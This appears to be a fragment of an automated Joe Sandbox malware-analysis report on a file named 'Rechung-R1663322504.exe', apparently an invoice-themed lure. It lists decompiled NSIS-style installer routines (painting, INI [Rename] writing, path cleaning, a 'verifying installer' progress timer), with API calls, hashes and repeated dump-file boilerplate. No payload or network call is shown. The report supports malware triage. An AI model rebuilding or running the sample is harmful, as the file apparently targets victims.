SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,Susans,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

Susans, xrefs: 00401150
F, xrefs: 0040100C

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F$Susans
API String ID: 941294808-149410976
Opcode ID: 218f2c87b148b58c94c6785b51cf5afc075c1faf60bc5df3e6f759b2377d660f
Instruction ID: 0958fbfe94b1809001ec2c76305b3cf500f7264b01c73c256976ee1787a3906e
Opcode Fuzzy Hash: 218f2c87b148b58c94c6785b51cf5afc075c1faf60bc5df3e6f759b2377d660f
Instruction Fuzzy Hash: B1418C71800209AFCF058F95DE459AF7BB9FF45310F00842AF591AA1A0CB38D954DFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00405EAB Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405EAB(void* __ecx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				long _t12;
				long _t24;
				char* _t31;
				int _t37;
				void* _t38;
				intOrPtr* _t39;
				long _t42;
				WCHAR* _t44;
				void* _t46;
				void* _t48;
				void* _t49;
				void* _t52;
				void* _t53;

				_t38 = __ecx;
				_t44 =  *(_t52 + 0x14);
				 *0x7a55c0 = 0x55004e;
				 *0x7a55c4 = 0x4c;
				if(_t44 == 0) {
					L3:
					_t12 = GetShortPathNameW( *(_t52 + 0x1c), 0x7a5dc0, 0x400);
					if(_t12 != 0 && _t12 <= 0x400) {
						_t37 = wsprintfA(0x7a51c0, "%ls=%ls\r\n", 0x7a55c0, 0x7a5dc0);
						_t53 = _t52 + 0x10;
						E00406281(_t37, 0x400, 0x7a5dc0, 0x7a5dc0,  *((intOrPtr*)( *0x7a8a34 + 0x128)));
						_t12 = E00405D51(0x7a5dc0, 0xc0000000, 4);
						_t48 = _t12;
						 *(_t53 + 0x18) = _t48;
						if(_t48 != 0xffffffff) {
							_t42 = GetFileSize(_t48, 0);
							_t6 = _t37 + 0xa; // 0xa
							_t46 = GlobalAlloc(0x40, _t42 + _t6);
							if(_t46 == 0 || E00405DD4(_t48, _t46, _t42) == 0) {
								L18:
								return CloseHandle(_t48);
							} else {
								if(E00405CB6(_t38, _t46, "[Rename]\r\n") != 0) {
									_t49 = E00405CB6(_t38, _t21 + 0xa, "\n[");
									if(_t49 == 0) {
										_t48 =  *(_t53 + 0x18);
										L16:
										_t24 = _t42;
										L17:
										E00405D0C(_t24 + _t46, 0x7a51c0, _t37);
										SetFilePointer(_t48, 0, 0, 0);
										E00405E03(_t48, _t46, _t42 + _t37);
										GlobalFree(_t46);
										goto L18;
									}
									_t39 = _t46 + _t42;
									_t31 = _t39 + _t37;
									while(_t39 > _t49) {
										 *_t31 =  *_t39;
										_t31 = _t31 - 1;
										_t39 = _t39 - 1;
									}
									_t24 = _t49 - _t46 + 1;
									_t48 =  *(_t53 + 0x18);
									goto L17;
								}
								lstrcpyA(_t46 + _t42, "[Rename]\r\n");
								_t42 = _t42 + 0xa;
								goto L16;
							}
						}
					}
				} else {
					CloseHandle(E00405D51(_t44, 0, 1));
					_t12 = GetShortPathNameW(_t44, 0x7a55c0, 0x400);
					if(_t12 != 0 && _t12 <= 0x400) {
						goto L3;
					}
				}
				return _t12;
			}

0x00405eab
0x00405eb4
0x00405ebb
0x00405ec5
0x00405ed9
0x00405f01
0x00405f0c
0x00405f10
0x00405f30
0x00405f37
0x00405f41
0x00405f4e
0x00405f53
0x00405f58
0x00405f5c
0x00405f6b
0x00405f6d
0x00405f7a
0x00405f7e
0x00406019
0x00000000
0x00405f94
0x00405fa1
0x00405fc5
0x00405fc9
0x00405fe8
0x00405fec
0x00405fec
0x00405fee
0x00405ff7
0x00406002
0x0040600d
0x00406013
0x00000000
0x00406013
0x00405fcb
0x00405fce
0x00405fd9
0x00405fd5
0x00405fd7
0x00405fd8
0x00405fd8
0x00405fe0
0x00405fe2
0x00000000
0x00405fe2
0x00405fac
0x00405fb2
0x00000000
0x00405fb2
0x00405f7e
0x00405f5c
0x00405edb
0x00405ee6
0x00405eef
0x00405ef3
0x00000000
0x00000000
0x00405ef3
0x00406024

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,00406046,?,?), ref: 00405EE6
GetShortPathNameW.KERNEL32(?,007A55C0,00000400), ref: 00405EEF

Part of subcall function 00405CB6: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405F9F,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405CC6
Part of subcall function 00405CB6: lstrlenA.KERNEL32(00000000,?,00000000,00405F9F,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405CF8

GetShortPathNameW.KERNEL32(?,007A5DC0,00000400), ref: 00405F0C
wsprintfA.USER32 ref: 00405F2A
GetFileSize.KERNEL32(00000000,00000000,007A5DC0,C0000000,00000004,007A5DC0,?,?,?,?,?), ref: 00405F65
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405F74
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FAC
SetFilePointer.KERNEL32(0040A560,00000000,00000000,00000000,00000000,007A51C0,00000000,-0000000A,0040A560,00000000,[Rename],00000000,00000000,00000000), ref: 00406002
GlobalFree.KERNEL32(00000000), ref: 00406013
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 0040601A

Part of subcall function 00405D51: GetFileAttributesW.KERNELBASE(?,00402F01,C:\Users\user\Desktop\Rechung-R1663322504.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405D55
Part of subcall function 00405D51: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,00000006,00000008,0000000A), ref: 00405D77

Strings

[Rename], xrefs: 00405F94, 00405FA6
%ls=%ls, xrefs: 00405F20

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: 9234885be5e57950de04a4ffe204c7f94bcd269eedac1ba9c5005a2d30df1b06
Instruction ID: 89c32d2153287748ec41ed641a28e9b16702ce233dbd70bd77460b6709aa78c6
Opcode Fuzzy Hash: 9234885be5e57950de04a4ffe204c7f94bcd269eedac1ba9c5005a2d30df1b06
Instruction Fuzzy Hash: F8312871601B05BBD220AB619D48F6B3A9CEF85744F14003EFA42F62D2DA7CD8118ABD

Uniqueness

Uniqueness Score: -1.00%

Function 004064F3 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E004064F3(WCHAR* _a4) {
				short _t5;
				short _t7;
				WCHAR* _t19;
				WCHAR* _t20;
				WCHAR* _t21;

				_t20 = _a4;
				if( *_t20 == 0x5c && _t20[1] == 0x5c && _t20[2] == 0x3f && _t20[3] == 0x5c) {
					_t20 =  &(_t20[4]);
				}
				if( *_t20 != 0 && E00405BA7(_t20) != 0) {
					_t20 =  &(_t20[2]);
				}
				_t5 =  *_t20;
				_t21 = _t20;
				_t19 = _t20;
				if(_t5 != 0) {
					do {
						if(_t5 > 0x1f &&  *((short*)(E00405B5D(L"*?|<>/\":", _t5))) == 0) {
							E00405D0C(_t19, _t20, CharNextW(_t20) - _t20 >> 1);
							_t19 = CharNextW(_t19);
						}
						_t20 = CharNextW(_t20);
						_t5 =  *_t20;
					} while (_t5 != 0);
				}
				 *_t19 =  *_t19 & 0x00000000;
				while(1) {
					_push(_t19);
					_push(_t21);
					_t19 = CharPrevW();
					_t7 =  *_t19;
					if(_t7 != 0x20 && _t7 != 0x5c) {
						break;
					}
					 *_t19 =  *_t19 & 0x00000000;
					if(_t21 < _t19) {
						continue;
					}
					break;
				}
				return _t7;
			}

0x004064f5
0x004064fe
0x00406515
0x00406515
0x0040651c
0x00406528
0x00406528
0x0040652b
0x0040652e
0x00406533
0x00406535
0x0040653e
0x00406542
0x0040655f
0x00406567
0x00406567
0x0040656c
0x0040656e
0x00406571
0x00406576
0x00406577
0x0040657b
0x0040657b
0x0040657c
0x00406583
0x00406585
0x0040658c
0x00000000
0x00000000
0x00406594
0x0040659a
0x00000000
0x00000000
0x00000000
0x0040659a
0x0040659f

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Rechung-R1663322504.exe",0040332B,C:\Users\user\AppData\Local\Temp\,764E3420,0040359C,?,00000006,00000008,0000000A), ref: 00406556
CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 00406565
CharNextW.USER32(?,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Rechung-R1663322504.exe",0040332B,C:\Users\user\AppData\Local\Temp\,764E3420,0040359C,?,00000006,00000008,0000000A), ref: 0040656A
CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Rechung-R1663322504.exe",0040332B,C:\Users\user\AppData\Local\Temp\,764E3420,0040359C,?,00000006,00000008,0000000A), ref: 0040657D

Strings

"C:\Users\user\Desktop\Rechung-R1663322504.exe", xrefs: 004064F3
C:\Users\user\AppData\Local\Temp\, xrefs: 004064F4, 004064F9
*?|<>/":, xrefs: 00406545

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\Rechung-R1663322504.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-1569199735
Opcode ID: dac06de1e1615827748cce9690c43cbd9586789469f0d882438918906e4257c7
Instruction ID: b8c3cbf5b75eb2b2499c9cde9ef872d51aef5c2750dc7b0313243111e00abff4
Opcode Fuzzy Hash: dac06de1e1615827748cce9690c43cbd9586789469f0d882438918906e4257c7
Instruction Fuzzy Hash: 9B11C85580021275DB303B14BC40ABBA6F8EF59754F52403FE985732C8E77C5C9286BD

Uniqueness

Uniqueness Score: -1.00%

Function 0040425B Relevance: 12.1, APIs: 8, Instructions: 61
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040425B(intOrPtr _a4, struct HDC__* _a8, struct HWND__* _a12) {
				struct tagLOGBRUSH _v16;
				long _t35;
				long _t37;
				void* _t40;
				long* _t49;

				if(_a4 + 0xfffffecd > 5) {
					L15:
					return 0;
				}
				_t49 = GetWindowLongW(_a12, 0xffffffeb);
				if(_t49 == 0) {
					goto L15;
				}
				_t35 =  *_t49;
				if((_t49[5] & 0x00000002) != 0) {
					_t35 = GetSysColor(_t35);
				}
				if((_t49[5] & 0x00000001) != 0) {
					SetTextColor(_a8, _t35);
				}
				SetBkMode(_a8, _t49[4]);
				_t37 = _t49[1];
				_v16.lbColor = _t37;
				if((_t49[5] & 0x00000008) != 0) {
					_t37 = GetSysColor(_t37);
					_v16.lbColor = _t37;
				}
				if((_t49[5] & 0x00000004) != 0) {
					SetBkColor(_a8, _t37);
				}
				if((_t49[5] & 0x00000010) != 0) {
					_v16.lbStyle = _t49[2];
					_t40 = _t49[3];
					if(_t40 != 0) {
						DeleteObject(_t40);
					}
					_t49[3] = CreateBrushIndirect( &_v16);
				}
				return _t49[3];
			}

0x0040426d
0x00404301
0x00000000
0x00404301
0x0040427e
0x00404282
0x00000000
0x00000000
0x00404288
0x00404291
0x00404294
0x00404294
0x0040429a
0x004042a0
0x004042a0
0x004042ac
0x004042b2
0x004042b9
0x004042bc
0x004042bf
0x004042c1
0x004042c1
0x004042c9
0x004042cf
0x004042cf
0x004042d9
0x004042de
0x004042e1
0x004042e6
0x004042e9
0x004042e9
0x004042f9
0x004042f9
0x00000000

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00404278
GetSysColor.USER32(00000000), ref: 00404294
SetTextColor.GDI32(?,00000000), ref: 004042A0
SetBkMode.GDI32(?,?), ref: 004042AC
GetSysColor.USER32(?), ref: 004042BF
SetBkColor.GDI32(?,?), ref: 004042CF
DeleteObject.GDI32(?), ref: 004042E9
CreateBrushIndirect.GDI32(?), ref: 004042F3

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: d93bb5df8f2b76ccefaad0a5d1bb7d3eec77da1dbbaa67d130298efb7d8eee66
Instruction ID: 89996262c0d64ac0fda19422125f93b67266a0f1ca122a9c1e6306c3a20023a3
Opcode Fuzzy Hash: d93bb5df8f2b76ccefaad0a5d1bb7d3eec77da1dbbaa67d130298efb7d8eee66
Instruction Fuzzy Hash: 34219271500704ABCB209F68DE08B4BBBF8AF41714B048A6DFD92A22A0C734D904CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00404B8D Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404B8D(struct HWND__* _a4, intOrPtr _a8) {
				long _v8;
				signed char _v12;
				unsigned int _v16;
				void* _v20;
				intOrPtr _v24;
				long _v56;
				void* _v60;
				long _t15;
				unsigned int _t19;
				signed int _t25;
				struct HWND__* _t28;

				_t28 = _a4;
				_t15 = SendMessageW(_t28, 0x110a, 9, 0);
				if(_a8 == 0) {
					L4:
					_v56 = _t15;
					_v60 = 4;
					SendMessageW(_t28, 0x113e, 0,  &_v60);
					return _v24;
				}
				_t19 = GetMessagePos();
				_v16 = _t19 >> 0x10;
				_v20 = _t19;
				ScreenToClient(_t28,  &_v20);
				_t25 = SendMessageW(_t28, 0x1111, 0,  &_v20);
				if((_v12 & 0x00000066) != 0) {
					_t15 = _v8;
					goto L4;
				}
				return _t25 | 0xffffffff;
			}

0x00404b9b
0x00404ba8
0x00404bae
0x00404bec
0x00404bec
0x00404bfb
0x00404c02
0x00000000
0x00404c04
0x00404bb0
0x00404bbf
0x00404bc7
0x00404bca
0x00404bdc
0x00404be2
0x00404be9
0x00000000
0x00404be9
0x00000000

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404BA8
GetMessagePos.USER32 ref: 00404BB0
ScreenToClient.USER32(?,?), ref: 00404BCA
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404BDC
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404C02

Strings

f, xrefs: 00404BDE

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction ID: 1a768e81d1a3c698b7e3ef6d626f5858b2063c99cedd32227338619671f62d57
Opcode Fuzzy Hash: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction Fuzzy Hash: 18015E7190021CBADB00DB95DD85FFEBBBCAF95715F10412BBA50BA1D0C7B4AA058BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00401DB3 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00401DB3(intOrPtr __edx) {
				void* __esi;
				int _t9;
				signed char _t15;
				struct HFONT__* _t18;
				intOrPtr _t30;
				struct HDC__* _t31;
				void* _t33;
				void* _t35;

				_t30 = __edx;
				_t31 = GetDC( *(_t35 - 8));
				_t9 = E00402C15(2);
				 *((intOrPtr*)(_t35 - 0x4c)) = _t30;
				0x40cdb0->lfHeight =  ~(MulDiv(_t9, GetDeviceCaps(_t31, 0x5a), 0x48));
				ReleaseDC( *(_t35 - 8), _t31);
				 *0x40cdc0 = E00402C15(3);
				_t15 =  *((intOrPtr*)(_t35 - 0x18));
				 *((intOrPtr*)(_t35 - 0x4c)) = _t30;
				 *0x40cdc7 = 1;
				 *0x40cdc4 = _t15 & 0x00000001;
				 *0x40cdc5 = _t15 & 0x00000002;
				 *0x40cdc6 = _t15 & 0x00000004;
				E00406281(_t9, _t31, _t33, "Times New Roman",  *((intOrPtr*)(_t35 - 0x24)));
				_t18 = CreateFontIndirectW(0x40cdb0);
				_push(_t18);
				_push(_t33);
				E004061A6();
				 *0x7a8ac8 =  *0x7a8ac8 +  *((intOrPtr*)(_t35 - 4));
				return 0;
			}

0x00401db3
0x00401dbe
0x00401dc0
0x00401dcd
0x00401de4
0x00401de9
0x00401df6
0x00401dfb
0x00401dff
0x00401e0a
0x00401e11
0x00401e23
0x00401e29
0x00401e2e
0x00401e38
0x0040258c
0x0040156d
0x00402a65
0x00402ac2
0x00402ace

APIs

GetDC.USER32(?), ref: 00401DB6
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DD0
MulDiv.KERNEL32(00000000,00000000), ref: 00401DD8
ReleaseDC.USER32(?,00000000), ref: 00401DE9
CreateFontIndirectW.GDI32(0040CDB0), ref: 00401E38

Strings

Times New Roman, xrefs: 00401E1E

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Times New Roman
API String ID: 3808545654-927190056
Opcode ID: 32b3ac885727d1e190cdd40c39b4cdf091ab3af3085104150676e708dd364a64
Instruction ID: 4d28dda0b40ea0953a32cffe00044d8590db675546aa8caf17c1304664b83f42
Opcode Fuzzy Hash: 32b3ac885727d1e190cdd40c39b4cdf091ab3af3085104150676e708dd364a64
Instruction Fuzzy Hash: 78017572954241EFE7006BB0AF8AB9A7FB4AF55301F10497EF241B71E2CA7800458F2D

Uniqueness

Uniqueness Score: -1.00%

Function 00402DD7 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402DD7(struct HWND__* _a4, intOrPtr _a8) {
				short _v132;
				int _t11;
				int _t20;

				if(_a8 == 0x110) {
					SetTimer(_a4, 1, 0xfa, 0);
					_a8 = 0x113;
				}
				if(_a8 == 0x113) {
					_t20 =  *0x78b6d4; // 0x63774
					_t11 =  *0x7976dc; // 0x65a18
					if(_t20 >= _t11) {
						_t20 = _t11;
					}
					wsprintfW( &_v132, L"verifying installer: %d%%", MulDiv(_t20, 0x64, _t11));
					SetWindowTextW(_a4,  &_v132);
					SetDlgItemTextW(_a4, 0x406,  &_v132);
				}
				return 0;
			}

0x00402de7
0x00402df5
0x00402dfb
0x00402dfb
0x00402e09
0x00402e0b
0x00402e11
0x00402e18
0x00402e1a
0x00402e1a
0x00402e30
0x00402e40
0x00402e52
0x00402e52
0x00402e5a

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402DF5
MulDiv.KERNEL32(00063774,00000064,00065A18), ref: 00402E20
wsprintfW.USER32 ref: 00402E30
SetWindowTextW.USER32(?,?), ref: 00402E40
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402E52

Strings

verifying installer: %d%%, xrefs: 00402E2A

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 3278fe65966c90afb4b572b20ee93d6781e748b995f18389883d07859a761d52
Instruction ID: c563a075df83d92fb310a5016e42997ab7e5782e6b78b1479044c0af3efb3f55
Opcode Fuzzy Hash: 3278fe65966c90afb4b572b20ee93d6781e748b995f18389883d07859a761d52
Instruction Fuzzy Hash: DE01677064020CBFDF149F50DD49FAA3B68AB00304F108039FA06F51D0DBB98965CF59

Uniqueness

Uniqueness Score: -1.00%

